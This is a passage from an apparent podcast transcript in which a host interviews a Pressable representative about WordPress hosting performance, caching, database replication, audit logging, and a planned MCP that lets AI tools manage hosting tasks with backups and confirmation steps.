we&#8217;re seeing, you know, here&#8217;s all this data that we&#8217;re collecting. Here&#8217;s what we think this means. Here&#8217;s what maybe our competitors have done, or what our customers have noticed on competitor platforms. How can we either like negate the advantages of other platforms? Or how can we find ways to make ourselves even better than them? Or, here&#8217;s what we&#8217;re already doing, great, is there any fine tuning that we can do to like eek out that extra little bit of performance?</p>\n\n\n\n<p class="wp-block-paragraph">We try not to be too prescriptive with the WP Cloud team because they really are the experts in the hardware. But we bring a lot of that WordPress knowledge to bear and say like, this is what we&#8217;re seeing from a WordPress perspective, what can you do on a hardware and software on the server perspective to kind of make this work even better?</p>\n\n\n\n<p class="wp-block-paragraph">[00:12:12] <strong>Nathan Wrigley:</strong> It&#8217;s a difficult juggling act to perform in a way, isn&#8217;t it? Because on the one hand, we&#8217;re always talking about how performant WordPress can be, and on the other hand, we&#8217;re always talking about plugins and themes and the fact that amassing those will slow things down. You know, you throw in an LMS or WooCommerce or something like that and suddenly the website is going to be a different animal, let&#8217;s put it that way.</p>\n\n\n\n<p class="wp-block-paragraph">And so on the one hand, trying to pitch WordPress as performant, and then on the other hand, there&#8217;s this whole bit that you are dealing with where the performance is somewhat under question. I&#8217;ve always thought that&#8217;s a difficult challenge. And certainly in terms of marketing that and making the public understand that, okay, there&#8217;s the performance on one side, but we can manage that on the other side. I think that&#8217;s a really difficult thing to do because you&#8217;re trying to communicate something incredibly technical to presumably a whole load of people, some of whom aren&#8217;t technical at all.</p>\n\n\n\n<p class="wp-block-paragraph">[00:13:03] <strong>Malcolm Peralty:</strong> And even worse, a lot of other competing hosts will hide a lot of issues and faults and sins that customers have made on their website through like heavily used Redis setups that like just make it seem like their website is so much faster than it actually is. Or they&#8217;ll buy hardware that is, you know, has like the fastest CPUs. And so from you as a single user testing your website, you might say, wow, my website is so fast on this other platform, but when I move it to this company, now it feels slow. But you&#8217;re not doing a test at scale. You&#8217;re doing an individual test, right?</p>\n\n\n\n<p class="wp-block-paragraph">So you go on that hardware and you put like 25, 100, 1,000 users going through a checkout process, and all of a sudden your website is slow as molasses and starts falling over. Whereas on the platform that quote, unquote, seems slower, it&#8217;s so much more resilient and able to handle that load.</p>\n\n\n\n<p class="wp-block-paragraph">So there&#8217;s so much nuance here and so many things that we&#8217;re dealing with and a lot of the job ends up being at customer education because it&#8217;s very easy in the commodity hosting space to be like, I&#8217;m going to move to this other company because they seem faster. And that really shouldn&#8217;t be your single goal. It should be understanding your website. But a lot of small business owners, medium sized business owners, even large business owners don&#8217;t really necessarily want to understand how their website is built and how their pages are built and these kinds of things.</p>\n\n\n\n<p class="wp-block-paragraph">And it&#8217;s funny you mentioned about the WordPress performance thing because sometimes I want to be like, just do this one thing for me, right? On our platform, turn off all your plugins, go back to the default theme, tell me how fast your website loads because guess what, it&#8217;s probably going to load pretty darn fast, right?</p>\n\n\n\n<p class="wp-block-paragraph">The problem I have is the customers that have 50, 60, 70 plus plugins, and two of them are different like builder tools, which is unfortunately the bane of my existence. No offence to like Elementor and Divi and Beaver Builder and all these companies that are making these tools to help people have their dream website on the internet. But man, are they ever heavy and slow when you&#8217;re trying to create a performant website these days?</p>\n\n\n\n<p class="wp-block-paragraph">And so, you know, I&#8217;m often having these conversations about, what is most important to you? And understanding as well that search engines like Google, and search engine companies believe that performance is a big deal because that&#8217;s how they manage their own infrastructure, right? If a website is slow, then they can&#8217;t really crawl it effectively and understand what&#8217;s going on with it. So that plays into a lot of the conversations that I have as well. And it&#8217;s never easy.</p>\n\n\n\n<p class="wp-block-paragraph">[00:15:23] <strong>Nathan Wrigley:</strong> Yeah, I imagine it&#8217;s not. I mean, I don&#8217;t know if the goal of Pressable is to make it such that you show up with your website, pay your monthly subscription, whatever it may be, and kind of that&#8217;s it. We will take it from here. I don&#8217;t know if that&#8217;s the goal. Or if it&#8217;s more of a, we will have a conversation with you, we will make recommendations and over a period of time, we will come to some sort of happy medium where, you know, what you&#8217;ve got is what you are happy with and it&#8217;s also performant from our side.</p>\n\n\n\n<p class="wp-block-paragraph">So I don&#8217;t know how much of a conversation is there. Any website that I&#8217;ve ever brought to Pressable has been fairly straightforward. I&#8217;ve installed it, it&#8217;s worked exactly as I had anticipated, and so I&#8217;ve never really had to get into it. But, you know, a website with 10,000 SKUs, and a million visitors a day, presumably there has to be some handholding going on there.</p>\n\n\n\n<p class="wp-block-paragraph">[00:16:09] <strong>Malcolm Peralty:</strong> Yeah, I think the big point of delineation is the cacheability of a site, right? So the ability for us to serve it without building the pages from scratch. If you have a brochure site, if you have a marketing site, if you are, you know, the only thing on your website that&#8217;s like a real user interaction is some buttons and maybe a form to submit, like a contact form or a marketing related form, your website is going to run perfectly on Pressable without any kind of handholding, without any kind of consultation. You&#8217;re going to be able to upload it and know it&#8217;s going to be resilient to whatever traffic you receive, and even like power outages in entire halfs of countries won&#8217;t bring your website down.</p>\n\n\n\n<p class="wp-block-paragraph">If that&#8217;s the kind of experience you want, those plan tiers exist and they work great. And we have agencies that throw thousands of websites on Pressable&#8217;s platform in that kind of umbrella without any kind of issue or concern or question.</p>\n\n\n\n<p class="wp-block-paragraph">I think the consultative part comes in when you&#8217;re starting to do things like I mentioned before, learning management systems, e-commerce systems, merch drops, custom contests. If you&#8217;re doing anything that basically has a different user experience based on adding something into a cart, or like completing a module of learning that needs to be tracked and following the user, typically this means that it&#8217;s going to be uncached, which means that it&#8217;s going to rebuild that page from scratch, and that requires a fair bit of resources.</p>\n\n\n\n<p class="wp-block-paragraph">We&#8217;ve optimised a lot of things to make sure that we can do that effectively, but again, the conversation comes into play, if you add in Facebook for WooCommerce plugin that breaks cache on every page load, then we have to work with our customers to understand like what that means, and what the trade-offs are, and what replacements might exist to make it so that we can cache the majority of sessions so that they can stick within their resource utilisations that we expect them to use.</p>\n\n\n\n<p class="wp-block-paragraph">Most companies, including Pressable will sell on like the number of visits to the website, but also another piece is the amount of workers, right? So these are the little pieces of software behind the scenes that actually complete all of the things that users are requesting, right? Serving up images and web pages and shopping carts and stuff like that.</p>\n\n\n\n<p class="wp-block-paragraph">We have a really cool model where we have one worker per one VCPU, which basically means you get your own dedicated highway for that worker. He&#8217;s his own little car on his own little highway lane. Where a lot of companies will do like 40 workers to one VCPU. So imagine 40 cars on one lane highway, versus five cars on a five lane highway. So the way that we process things is a little bit different as well, and so that requires a little bit of education on our side.</p>\n\n\n\n<p class="wp-block-paragraph">[00:18:32] <strong>Nathan Wrigley:</strong> I think there&#8217;s this whole mysterious scientific laboratory kind of impression to hosting, if you know what I mean? I&#8217;m imagining a room, a laboratory, sort of white walls and everything, with a bunch of people wearing white overalls with pens neatly lined up in their top pocket, and obsessing about these acronyms. Well, this isn&#8217;t an acronym, but you mentioned workers.</p>\n\n\n\n<p class="wp-block-paragraph">But you&#8217;ve got things like Redis, you&#8217;ve got things like edge caching and all of this kind of stuff. And honestly, to me, a lot of that is a bit of a puzzle. And I don&#8217;t know how you educate the public about those things other than just saying, just don&#8217;t worry about it. We&#8217;re here for you. We&#8217;ll deal with that complexity.</p>\n\n\n\n<p class="wp-block-paragraph">But also, I&#8217;m curious to know what kind of innovations are there still to be done? Now obviously we&#8217;re sort of crystal ball gazing a little bit here, but I am curious about where is the bleeding edge of server technology and hosting technology? What are the things which are just a little bit over the horizon, but are of interest, which may drop in the next year, two years, three years, something like that?</p>\n\n\n\n<p class="wp-block-paragraph">[00:19:34] <strong>Malcolm Peralty:</strong> Yeah, I would say we&#8217;re seeing a lot of web assembly type efforts, which is kind of interesting, which is, yeah, I don&#8217;t know if anyone&#8217;s ever seen, there&#8217;s a WordPress Playground site where you can have like WordPress basically running in a browser. You don&#8217;t have to install it anywhere. It just exists in your browser as like this ephemeral install of WordPress that you can play with and do stuff with, and then export to a real install of WordPress if you&#8217;re interested.</p>\n\n\n\n<p class="wp-block-paragraph">I think that is a super impactful and interesting technology, and we&#8217;ll see probably more of that in the next little while, and how hosts can kind of play into that. I think that we&#8217;ll also see better caching technology, better database technology, but also I think better replication technology. So everyone knows that a lot of WordPress kind of exists within the database, and so if you want to have high availability, you need to be able to have that database exist in multiple places. But if you&#8217;re doing transactions on your like primary database for like e-commerce, you&#8217;re like buying products and you have, Malcolm bought a t-shirt from my website, he wants this size and he wants it shipped here, we need to now replicate that to any other like high availability databases that we have. That replication right now is very old technology in a lot of ways, and it&#8217;s not as optimised as we would like it to be. So there&#8217;s a latency that exists there in replicating that to other places.</p>\n\n\n\n<p class="wp-block-paragraph">Acquia and some of the other companies I worked for, that latency could be really high or really low depending on how it was configured, right? How long do we kind of keep that data there before we send it over?</p>\n\n\n\n<p class="wp-block-paragraph">We try to do as much real-time streaming at Pressable as possible to make it so like, you know, within like two seconds, the data is now in that replication. And so if your primary goes down, you&#8217;ve lost maybe a second or two seconds of data. On some websites, even that can be really bad, right? Because if you, let&#8217;s say you&#8217;re doing a big product drop and you have 10,000 people wanting to buy tickets to your concert, and you lose two seconds of data, that could be hundreds of transactions that just evaporate into the ether. So better ways of syncing that data across, and managing that relationship between multiple servers I think is going to be a big transition that we see in the marketplace.</p>\n\n\n\n<p class="wp-block-paragraph">We&#8217;re already seeing the idea of virtual clusters. So multiple data centres pretending to be like one local server. So then we don&#8217;t have that same feel of migrating or syncing data between locations, it just pretends it&#8217;s all kind of in the same place. So I think that will be kind of interesting to see because again, that adds more resiliency. And I think, everyone that I&#8217;ve ever talked to, if you say like, how long are you okay with your website being down? Even if it&#8217;s not a moneymaking website, you&#8217;ll hear them say something like, I don&#8217;t know, maybe an hour at most, right? So finding ways to make websites more resilient is going to be important.</p>\n\n\n\n<p class="wp-block-paragraph">And then I think just a better understanding just from top to bottom on what&#8217;s happening with a website, right? So we have a lot of logging, but it&#8217;s not necessarily the best at auditing. So, for example, if Nathan came on my website and got access to it and deleted a plugin, I might not have the best tools right now to be able to say, oh, it was this IP address at this time, he logged into this user, he did this action, and have that complete picture to be able to kind of quickly and easily reverse.</p>\n\n\n\n<p class="wp-block-paragraph">We kind of depend on backups right now a lot of the time, and I hate that. Or we depend on like trying to fish through logs and make those connections using our human brains. All of that is just a really poor solution and I think AI will hopefully help with some of that, and I&#8217;m looking forward to having more of this like very specific picture of every action that has on a website without, again, adding a whole bunch of load to the server environment or a whole bunch of data storage requirements that makes it really impossible for organisations to kind of have all this information, right?</p>\n\n\n\n<p class="wp-block-paragraph">Because if I start auditing every action that I&#8217;m taking on a website that I have access to, and you think of Pressable having multiple thousands of websites, hosting platforms, you can imagine the amount of data we&#8217;d then need to record, right? So data compression becomes super important, or the ability to kind of infer things based on data that we&#8217;re seeing becomes important. The amount of work that I do in like looking through logs would make your eyes kind of pop out of your head. It&#8217;s brutal sometimes. And logs have never been very user friendly.</p>\n\n\n\n<p class="wp-block-paragraph">So again, another area that AI has been helping us with is like, okay, pull out the things that are potentially the most impactful, the most interesting, the things that stand out over like a statistics, probability kind of system.</p>\n\n\n\n<p class="wp-block-paragraph">[00:23:48] <strong>Nathan Wrigley:</strong> Yeah, I think what&#8217;s really curious about everything that you&#8217;ve just said is, so there&#8217;s this kind of impression for people who are just casual users of WordPress that you go to a hosting company, it&#8217;s a bunch of files and it&#8217;s a database, how hard can it be?</p>\n\n\n\n<p class="wp-block-paragraph">And then you&#8217;ve just given us a bit of a window into, well, this is how hard it can be, because there&#8217;s so many scenarios. And the typical mom and pop store where, like you said, an hour&#8217;s downtime might not be the end of the world, and most of the things can be cash and all that kind of thing. Well, that stands in real contrast to the, I don&#8217;t know, the gigantic megacorp .com company that&#8217;s doing 8,000 transactions every couple of minutes and there&#8217;s millions of dollars going through. And there&#8217;s just a whole other layer of things going on there.</p>\n\n\n\n<p class="wp-block-paragraph">And so you see the word Pressable and you think, hosting company, pretty straightforward. And I think it&#8217;s really interesting that you get an opportunity to come on and say, well, actually, no, there&#8217;s this other layer. There&#8217;s all this stuff going on in the background. There&#8217;s all of this technology. We&#8217;re thinking about the future. You know, we&#8217;ve got different geographical locations where things are housed, and we&#8217;re trying to speed that up so that there are all these different clusters. It sounds complicated, essentially. I&#8217;ll boil it down to that.</p>\n\n\n\n<p class="wp-block-paragraph">So I am a Pressable customer and when I go into the Pressable admin, I sort of log in and, you know, I&#8217;m presented with the usual array of different options. I would say that there&#8217;s more than probably somebody like me is requiring, but there it is anyway. You know, there&#8217;s lots of different options for tweaking this, that, and the other thing.</p>\n\n\n\n<p class="wp-block-paragraph">What I&#8217;m trying to sort of draw an analogy to is that it can be a little bit overwhelming if your day job isn&#8217;t to deal with a website. You log in and, what is this? What does this menu even exist? There&#8217;s probably ways of Googling it and finding it out. But I know that in the near future, Pressable is going to be launching sort of like an AI component to the hosting side of things. An MCP, you&#8217;ve described it as Pressable&#8217;s MCP. And then in parentheses, get AI to do things related to your hosting, whether that&#8217;s WooCommerce or WordPress or performance optimisation or whatever it would be.</p>\n\n\n\n<p class="wp-block-paragraph">So this is interesting. And I&#8217;m just curious as to how deep are you going to allow the AI to go? We all know that the AI, any AI can hallucinate. So I&#8217;m curious as to know what kind of things are you unleashing for the AI? Is it just a case of, okay, I would like the light theme now, please? Or does it penetrate much deeper than that?</p>\n\n\n\n<p class="wp-block-paragraph">[00:26:10] <strong>Malcolm Peralty:</strong> So it&#8217;ll be in phases over the next little while, we&#8217;ll unveil these features and what connections that we have. But eventually the expectation is, anything that you could do or click on as a user in the control panel, an AI could also act on and do as well. So a great example that we&#8217;ve been giving our agency partners is if you, let&#8217;s say, are working on code for a customer&#8217;s website, you could say to the AI built into your Visual Studio Code or your GitHub or whatever, hey, spin up another sandbox site, push this code, update the database, pull from production, all the files, and let me know when this is complete.</p>\n\n\n\n<p class="wp-block-paragraph">And the MCP will go and it will spin up a new sandbox site, a new WordPress install, with a new domain name attached to it. It will grab your code and push it up to that website. It&#8217;ll go to production and grab the files from the wp-content uploads folder, and sync it over to this new staging site or sandbox site that you&#8217;ve asked for. And then it&#8217;ll say, hey, by the way, it&#8217;s now ready for testing.</p>\n\n\n\n<p class="wp-block-paragraph">And you&#8217;ve done this all with natural language as a command behind the scenes. Or, let&#8217;s say you&#8217;re running a thousand sites, tell me all the websites that need like a Gravity Forms plugin update. And it will go and it&#8217;ll check all of your websites in the Pressable platform and give you a list of like, hey, here are the ones with Gravity Forms updates. And you could say, okay, update them for me please. And it&#8217;ll go back and it&#8217;ll do that job.</p>\n\n\n\n<p class="wp-block-paragraph">[00:27:24] <strong>Nathan Wrigley:</strong> So I guess the goal is to make it straightforward to use natural language to do a variety of tasks. Now obviously there&#8217;s got to be some serious guardrails around this because, you know, it would be very easy to inadvertently type, delete all of my, that&#8217;s a bad example but you get point. You know, what are the contraints?</p>\n\n\n\n<p class="wp-block-paragraph">[00:27:43] <strong>Malcolm Peralty:</strong> Yeah, please don&#8217;t use dangerously skip permissions, for example. So a lot of the AI tools that already exist have some human in the loop questioning. Are you sure you want me to do this? Are you sure you want me to do this kind of thing? And kind of seek their approval. We&#8217;re also talking about what, if anything, we&#8217;re really going to do on our side about that? We have pretty solid backup solutions put in place. So maybe if you, you know, accidentally said, clear out all of my platform, and it deleted all of your websites, you could then hopefully say, can you actually restore from backups all of those sites and have it restore from backups all of those sites.</p>\n\n\n\n<p class="wp-block-paragraph">So, you know, we keep hourly backups of database, daily of the WordPress file system, so there is that. Also our main WordPress install is simlinked, which means that you can&#8217;t actually change any of the core files. So even if you told it to delete WordPress, it can&#8217;t actually do that piece of it. So your WordPress install would still exist, but all your plugins and uploads and database would all be gone. But you could just restore them again using natural language.</p>\n\n\n\n<p class="wp-block-paragraph">So there are some guide rails that we can put in, but at the end of the day like, you&#8217;ll be able to connect whatever AI tool you&#8217;re using. Maybe you have Ollama with a local AI tool on your computer. Maybe you&#8217;re using Claude or Codex or something else. You&#8217;ll be able to use any of those AI tools. And so some of it is really on the person using it to put in some of those guardrails and those human and loop things. And I would recommend having a like system prompt that basically says like, before you do anything destructive, check with me first. Not that it won&#8217;t automatically do some of that, but it&#8217;s just good to have a secondary layer.</p>\n\n\n\n<p class="wp-block-paragraph">[00:29:13] <strong>Nathan Wrigley:</strong> And how are you exposing these capabilities to, let&#8217;s say Claude or whatever it may be? So what does that interaction look like? How is it that certain capabilities are available, but others are maybe not, and so on.</p>\n\n\n\n<p class="wp-block-paragraph">[00:29:25] <strong>Malcolm Peralty:</strong> Yeah, I mean I like to think of an MCP kind of like USB/API for AI. So we&#8217;re basically just making those kind of endpoints available to the MCP, or making like those API endpoints available to AI, so that it can undertake things on your behalf. So like our whole control panel is basically APIs all the way down, so to speak. So it&#8217;s not very hard to kind of hook those things up.</p>\n\n\n\n<p class="wp-block-paragraph">I think the harder part is making sure that the AI understands what these controls, what these APIs do, what they expect to receive, what they expect to give back, and what that all means. And once all of those kind of definitions are in place, then it&#8217;s pretty easy.</p>\n\n\n\n<p class="wp-block-paragraph">[00:30:05] <strong>Nathan Wrigley:</strong> I think one of the curious things for me is being inside, let&#8217;s say the Pressable UI where I&#8217;m navigating with a mouse and I&#8217;m clicking on things, everything is very intentional. You know, I go to a thing, and I do a thing, and I get a prompt to say, are you sure you want to do this thing? And I say, yes. And so it goes. And so every single thing that I do requires an interaction with me.</p>\n\n\n\n<p class="wp-block-paragraph">I suppose, with an AI, you could concatenate a variety of things. Maybe the AI has some sort of misunderstanding along the way, or you type things in such a way that it&#8217;s not entirely clear. And then kind of unpicking, okay, what just happened? It&#8217;s really easy to unpick that in the UI because you can say to the support rep, well, I did this, and then the site died. Okay, we know what happened there.</p>\n\n\n\n<p class="wp-block-paragraph">Whereas with this cascade of things, which is done with natural language, presumably this is where your logging, that you described earlier, comes in. There isn&#8217;t really a question there, but I&#8217;m curious as to what that process is. The capacity for many dominoes to fall from just one simple prompt, I suppose as a point of concern for you guys, because you are going to have to be unpicking all of this on the backend when things, which they inevitably will, go wrong.</p>\n\n\n\n<p class="wp-block-paragraph">[00:31:16] <strong>Malcolm Peralty:</strong> For sure. And I mean this is one of those areas though where we&#8217;re ahead of the curve. I think a lot of companies will be adding these kinds of things. But from an AI perspective, I mean, since October or November of last year, we&#8217;ve seen the skills and abilities and understanding of the top tier AI tools just jump exponentially. So the number of mistakes or concerns that we have have gone down in that same vein.</p>\n\n\n\n<p class="wp-block-paragraph">Our support team has also been trained up in a lot of these. And we&#8217;ve been testing a lot of these MCP pieces for a long time now. So we feel pretty confident that those that enable this and that have a good understanding of what this means and how to use it won&#8217;t make too many mistakes or have too many concerns or issues.</p>\n\n\n\n<p class="wp-block-paragraph">You know, again, we&#8217;re targeting a lot of our agency partners that are developers that already kind of live and breathe this stuff. So they&#8217;re also used to being able to untangle and knot if they tie themselves in one. So I don&#8217;t expect someone with their like first WordPress website on Pressable to enable MCP and start using it.</p>\n\n\n\n<p class="wp-block-paragraph">I really think this is most valuable to agencies or companies at scale. You know, if you&#8217;re running one website, you probably don&#8217;t need this, but if you&#8217;re running like 10, 100, 1,000 websites, then this tooling becomes very helpful. Because you can have like a, maybe do it on one site and now then replicate that same thing you just did across all of the sites I manage.</p>\n\n\n\n<p class="wp-block-paragraph">[00:32:33] <strong>Nathan Wrigley:</strong> I don&#8217;t really know how to phrase this question, but I&#8217;ll give this a go. At the moment, presumably you have a fairly solid relationship with your customers. You know, if something goes wrong, you log in, you enable the chat widget, you have that conversation. There&#8217;s this backwards and forwards, okay, great. And maybe there&#8217;s lots of clients that you get that you never have that interaction with.</p>\n\n\n\n<p class="wp-block-paragraph">But I&#8217;m just curious how that relationship over time might change with the advent of AI. And what I mean by that is, it&#8217;s almost like you&#8217;re not talking to humans anymore. And because of that, you start to have a different impression of the company that you are dealing with. Okay, it&#8217;s just some sort of AI entity, I don&#8217;t need to worry about it so much. Maybe loyalty starts to come into question because there&#8217;s no humans there anyway.</p>\n\n\n\n<p class="wp-block-paragraph">So again, it&#8217;s very hard to encapsulate what I&#8217;m saying, but presumably from a marketing point of view, there has to be some moment at which you say, okay, there&#8217;s too much AI now. We&#8217;re no longer a bunch of humans presenting ourselves to the world. We just look like a bunch of robots. Do you know what I&#8217;m saying there? Does any of that land?</p>\n\n\n\n<p class="wp-block-paragraph">[00:33:34] <strong>Malcolm Peralty:</strong> It does. I will say, we have those conversations internally. The expectation is always going to be like, when we add a new feature, it&#8217;s going to be added for humans first and then added to our AI tooling. But the only way that you can compete in the modern marketplace is to take advantage of some of the tools and opportunities we&#8217;ve been given with AI. As difficult as it is, there&#8217;s probably a business case, you know, I&#8217;m sure there will be businesses that will target people saying like, we don&#8217;t use AI for support, we don&#8217;t have AI integrations, we&#8217;re a completely human business. But I think the difficulty will be like scaling and competing in the modern marketplace.</p>\n\n\n\n<p class="wp-block-paragraph">And like a lot of the agencies we&#8217;re talking to are expecting this. They&#8217;re pushing us towards this because they&#8217;re looking to reduce their time to delivery, right? They want to be able to sit in a coffee shop with a customer, get a brief of the business, give that brief to, you know, an AI tool that transcribes their voice to words, and then have it go through this whole system of setting up a hosting sandbox for the website, set up WordPress, select a theme that matches their expectations, set up the brand colours, and almost have like a proof of concept at the end of a meal with a customer, that was assisted by AI.</p>\n\n\n\n<p class="wp-block-paragraph">And if they can&#8217;t do that first step of setting up a sandbox or a staging site for the customer, then we&#8217;re not part of that conversation at all. They&#8217;re going to go where there is that feature and that functionality, and Pressable won&#8217;t be part of that conversation at all.</p>\n\n\n\n<p class="wp-block-paragraph">And as end users, I mean, having AI assist with the things that agencies or higher touchpoint customers need, gives us that flexibility now to be available for the $25 a month customers who actually need the handholding and support from a human that we just couldn&#8217;t do otherwise, right? It just doesn&#8217;t scale properly at that price point.</p>\n\n\n\n<p class="wp-block-paragraph">So I think this could be advantageous to both sides if it&#8217;s used right and done right. But I definitely agree, there&#8217;s landmines that we have to kind of be cautious of and avoid, and we have to be very careful about how we apply this. And I think the key thing is always making sure that everything that we do is human first, and then AI enhanced, rather than AI first and human supplemented. It&#8217;s just a hard line to walk.</p>\n\n\n\n<p class="wp-block-paragraph">[00:35:37] <strong>Nathan Wrigley:</strong> It&#8217;s so interesting that conversation you&#8217;ve just described in the cafe where, by the end of the cup of coffee, you&#8217;ve got yourself a website based upon a conversation you were having moments before. The collapse of the timeline there. You know, we used to think that this five minute install was a big thing. Now it&#8217;s like the five minute website that&#8217;s fully ready to go, you know, or at least some simulation of a website. May not be the finished one but, you know, you&#8217;ve got a staging site ready, with a theme that&#8217;s adjacent to what you want to do, with some content that might replicate what you want to do. And it all took place in less time than it took you to finish a single coffee. And that&#8217;s so interesting. And you have to armour yourself against that.</p>\n\n\n\n<p class="wp-block-paragraph">That raises another question of course, which is how far you, your tentacles go into the website itself. Because traditionally hosting companies really didn&#8217;t concern themselves with the website, apart from the fact that the website was available and, you know, we can see what your plugins are and yada, yada. But it does sound like we&#8217;re straying into theming, and possible content creation and things like that. So I don&#8217;t know if that falls into the roadmap a bit as well.</p>\n\n\n\n<p class="wp-block-paragraph">So maybe there&#8217;s a future where you can, with the AI sort of say, I&#8217;d like to swap out my theme. It&#8217;s Christmas time, give me a Christmas theme. But we&#8217;re doing that in the hosting environment. We&#8217;re not necessarily having to log into the website. Again, do you sort of see where I&#8217;m going with that?</p>\n\n\n\n<p class="wp-block-paragraph">[00:37:03] <strong>Malcolm Peralty:</strong> Yeah, and I foresee for sure, but the integrations with AI that WordPress 7.0 already has, and the discussions for 7.1 make me believe that Pressable&#8217;s MCP will be able to talk to WordPress&#8217;s AI integration and do that from end to end. So, I mean we could already do it with the MCP, like adjusting database values and stuff like that, but that&#8217;s not what I would consider an ideal way of doing this.</p>\n\n\n\n<p class="wp-block-paragraph">But like I said, with the changes that are happening in WordPress Core, I definitely foresee like a complete end-to-end solution. You know, one AI talking to another, who then carries that task forward, reports back to the Pressable MCP and lets us know that theme change is done, those plugin updates are done, the content change is done. And again, all from that initial prompt, you know, maybe in your Visual Studio Code, which is just crazy to me.</p>\n\n\n\n<p class="wp-block-paragraph">[00:37:45] <strong>Nathan Wrigley:</strong> I am so used to basically not going back to the hosting until there&#8217;s a problem. You know, I go to the login URL for the website in question, I log in, I move around the WordPress UI, create a post, publish a post, schedule something, whatever, upload some assets. You get the idea.</p>\n\n\n\n<p class="wp-block-paragraph">And the idea of that not being the modus operandi for everybody will be so interesting, because it&#8217;s going to shatter that experience of, you know, you could watch a YouTube video to figure out the thing because everybody does the thing in the same way.</p>\n\n\n\n<p class="wp-block-paragraph">But it feels like we&#8217;re heralding a future where no two people are going to have the exact same experience. You know, you may be creating content through a text editor, which then somehow gets uploaded, or the text editor merely creates a prompt, and then the theme is swapped or amended because you&#8217;ve typed in some prompt.</p>\n\n\n\n<p class="wp-block-paragraph">So, you know, my UI, my IDE, my text editor, my version of WordPress, maybe I might build my site entirely differently to you. So that&#8217;s fascinating and slightly worrying at the same time because, how do you support that? Not just Pressable, but how does the community support it when we&#8217;ve got an infinite number of ways to create a blog post?</p>\n\n\n\n<p class="wp-block-paragraph">[00:38:55] <strong>Malcolm Peralty:</strong> And not just a blog post, but everything.</p>\n\n\n\n<p class="wp-block-paragraph">[00:38:57] <strong>Nathan Wrigley:</strong> Yeah, right, everything. Yep.</p>\n\n\n\n<p class="wp-block-paragraph">[00:38:58] <strong>Malcolm Peralty:</strong> Maybe you say you want this Christmas theme. Maybe it doesn&#8217;t select a theme and change the colours, maybe it writes a whole new CSS for the theme you have. Or maybe it writes a whole new theme, or maybe it writes a plugin that automatically switches it around Christmas time. Like it doesn&#8217;t have to pull off the shelf from the theme marketplace or the plugin marketplace that already exists. It can create something wholly new and specific for you.</p>\n\n\n\n<p class="wp-block-paragraph">Maybe it writes a whole new block for you, rather than trying to pull together three or four blocks to be able to create the output that you&#8217;re looking for. And some of these things for sure are not going to necessarily be super performant or super secure, especially initially, right? Maybe a year or two from now, once the AI is even smarter than it is today, or has a better understanding of WordPress than it does today. Maybe it will kind of think more about security and performance than it does right now. But you&#8217;re going to have these people deploying things that are not the ideal outcome, or ideal solution, or ideal anything. It&#8217;s just works for them right now.</p>\n\n\n\n<p class="wp-block-paragraph">And it&#8217;s funny, I always hear people talk about maintenance, right? How are we going to maintain all this AI code? We, humans are not going to maintain all this AI code. AI is going to maintain and update all this AI code. And so the joke of it is, if you come along and your host comes back to you and says, hey, your website&#8217;s running like a dog. You&#8217;re not going to spend half a day or a day trying to troubleshoot anymore. You&#8217;re just going to say, hey, AI, why is my website running poorly? Fix it or give me a list of things that need to be fixed, or what have you.</p>\n\n\n\n<p class="wp-block-paragraph">I at Pressable am already like using AI to basically write scripts that run through like two dozen WP-CLI commands, another two dozen like database commands, and some like full code searches. Give me a quick report on anything that needs to be optimised, right? So I didn&#8217;t write that script from scratch, I didn&#8217;t write that code from scratch to do that. I directed an AI to be able to create that for me. And now as the human in loop, I&#8217;m interpreting the data that it&#8217;s collected, but I can foresee a future very near where I say, hey, AI now interpret all this data you&#8217;ve collected and send a summary to the customer on what they need to change or do. Go and act on my behalf and make these changes.</p>\n\n\n\n<p class="wp-block-paragraph">[00:40:49] <strong>Nathan Wrigley:</strong> That&#8217;s so interesting. So there&#8217;s a couple of things. The first one is that it feels almost like we&#8217;re heralding in a future in which the WordPress UI maybe is not seen by everybody. So a good example would be, I have a Mac. I rarely use the Mac. I use things on the Mac. You know, I&#8217;m using a browser. I use a text editor. I use the application that we&#8217;re using to record. I&#8217;m not really using the Mac. I hope that lands, if you understand what I mean. I switch it on, but the Mac kind of just goes into the background and I use a bunch of things, which, they&#8217;re on the screen because I&#8217;ve got a Mac.</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:25] <strong>Malcolm Peralty:</strong> And I would say like 90% of it&#8217;s probably a browser at this point, right?</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:28] <strong>Nathan Wrigley:</strong> Right, right.</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:30] <strong>Malcolm Peralty:</strong> It&#8217;s a website that you go to. You can do Slack in a browser. You can do what we&#8217;re doing today in a browser. Pretty much most things that I do live in a browser. There&#8217;s very few applications that I actually need to load on my machine day to day because everything can exist in a browser. I think that paradigm will just be for the next generation, or for the transition that&#8217;s happening now, the new paradigm will be everything just lives in an AI application. Whether it&#8217;s installing your computer or whether it&#8217;s also in a browser. It&#8217;ll just be AI.</p>\n\n\n\n<p class="wp-block-paragraph">[00:41:54] <strong>Nathan Wrigley:</strong> Yeah, so it is analogous to that. It&#8217;s just this idea that the WordPress UI, that&#8217;s the only method that anybody has had, maybe that will be something that a bunch of people use, but it won&#8217;t be familiar to everybody because there&#8217;s no need for it.</p>\n\n\n\n<p class="wp-block-paragraph">And the other thing that you mentioned is, I suppose I would use any of the stuff that you&#8217;ve described, but there&#8217;s the one caveat. And the one caveat is I have to know that I can walk it back. I have to know that there is a way for me to undo every mistake that I just made because I got carried away. I sat down, got a bit carried away on a Saturday afternoon, made a bunch of tweaks. I really regret it. I want to know that I can go back and unpick that stuff and for it to be a seamless unpicking. So backups, I guess is the most straightforward way of doing that.</p>\n\n\n\n<p class="wp-block-paragraph">[00:42:40] <strong>Malcolm Peralty:</strong> And audit logs, right? So like one of the things that I&#8217;ve done is, in my system instructions, I do put, before you do anything else, backup the file system, backup the database and create a, like a markdown file that&#8217;s going to be step by step, everything that was done, everything that you thought so that I can then review it. And that really helps me kind of get an understanding of the tasks it took and maybe why it took them, to help me refine future attempts, right?</p>\n\n\n\n<p class="wp-block-paragraph">So going back to what we&#8217;re doing in hosting, like we&#8217;re always trying to think through, like you mentioned, everything is very specific and clickable, and we want to make sure that the AI understands exactly kind of what to click on, or what to select. And having that auditing is super important for that.</p>\n\n\n\n<p class="wp-block-paragraph">[00:43:19] <strong>Nathan Wrigley:</strong> And that&#8217;s the point, isn&#8217;t it? It&#8217;s a human readable or parsable log of everything. Something where, you know, you&#8217;ve got millions of data points in the audit log, but I can actually drill down into that in a meaningful way. Because it may be that I only want to undo a portion of what I did. I&#8217;m happy with 